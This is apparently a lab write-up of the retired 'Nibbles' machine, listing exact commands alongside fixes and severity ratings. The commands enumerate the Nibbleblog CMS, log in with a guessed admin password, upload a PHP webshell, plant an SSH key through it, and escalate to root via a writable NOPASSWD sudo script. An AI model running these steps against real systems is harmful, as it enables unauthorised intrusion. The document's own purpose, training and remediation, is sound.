Nibbles
Summary
My browsing the target Apache web server found a hidden Nibbleblog CMS installation hinted at by an HTML comment in the default page. Using a trivially guessable admin password that matched the machine's own hostname, I authenticated to the CMS admin panel and exploited a known file-upload vulnerability to plant a PHP webshell, gaining a foothold as the 'nibbler' service account.
A single misconfigured sudo rule — letting nibbler run a script it freely owned and could overwrite as root, with no password required — handed my complete control of the server.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
curl -sS http://$TARGET/gobuster dir -u http://$TARGET/nibbleblog/ -w /usr/share/wordlists/dirb/common.txt -x php,txtcurl -sS http://$TARGET/nibbleblog/READMEFixUpgrade or decommission Nibbleblog and block PHP execution in upload directoriesCritical
Exact commands 1
curl -sS -c /tmp/nb_cookies.txt -b /tmp/nb_cookies.txt -X POST http://$TARGET/nibbleblog/admin.php -d "username=admin&password=$PASSWORD" -D -FixReplace weak admin credentials and enable login-attempt throttlingHigh
Exact commands 1
tmp=$(mktemp -d); printf '%s\n' '<?php system($_GET["cmd"]); ?>' > "$tmp/image.php"; curl -sS -c "$tmp/c" -b "$tmp/c" -m 8 http://$TARGET/nibbleblog/admin.php >/dev/null; curl -sS -c "$tmp/c" -b "$tmp/c" -m 8 -X POST http://$TARGET/nibbleblog/admin.php -d "username=admin&password=$PASSWORD" >/dev/null; curl -sS -b "$tmp/c" -m 15 -F 'plugin=my_image' -F 'title=My image' -F 'position=4' -F 'caption=' -F "image=@$tmp/image.php;type=image/jpeg" -F 'image_resize=1' -F 'image_width=230' -F 'image_height=200' -F 'image_option=auto' "http://$TARGET/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image"Exact commands 3
curl -sS -m 8 "http://$TARGET/nibbleblog/content/private/plugins/my_image/image.php?cmd=id;whoami;hostname"curl -sS -m 8 'http://$TARGET/nibbleblog/content/private/plugins/my_image/image.php?cmd=mkdir+-p+/home/nibbler/.ssh+%26%26+echo+"<YOUR-SSH-PUBKEY>"+>>+/home/nibbler/.ssh/authorized_keys+%26%26+chmod+600+/home/nibbler/.ssh/authorized_keys'ssh -i /home/kali/lab/current/.ptest_target_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 -o BatchMode=yes nibbler@$TARGET 'find / -name user.txt 2>/dev/null -print; cat /home/nibbler/user.txt'Exact commands 2
ssh -i /home/kali/lab/current/.ptest_target_ed25519 nibbler@$TARGET 'sudo -l'ssh -i /home/kali/lab/current/.ptest_target_ed25519 nibbler@$TARGET 'ls -la /home/nibbler/personal/stuff/monitor.sh && stat /home/nibbler/personal/stuff/'FixRemove the NOPASSWD sudo rule for a user-owned scriptCritical
Exact commands 1
ssh -i /home/kali/lab/current/.ptest_target_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 -o BatchMode=yes nibbler@$TARGET 'printf "#!/bin/bash\nid\ncat /root/root.txt\n" > /home/nibbler/personal/stuff/monitor.sh && chmod +x /home/nibbler/personal/stuff/monitor.sh && sudo /home/nibbler/personal/stuff/monitor.sh'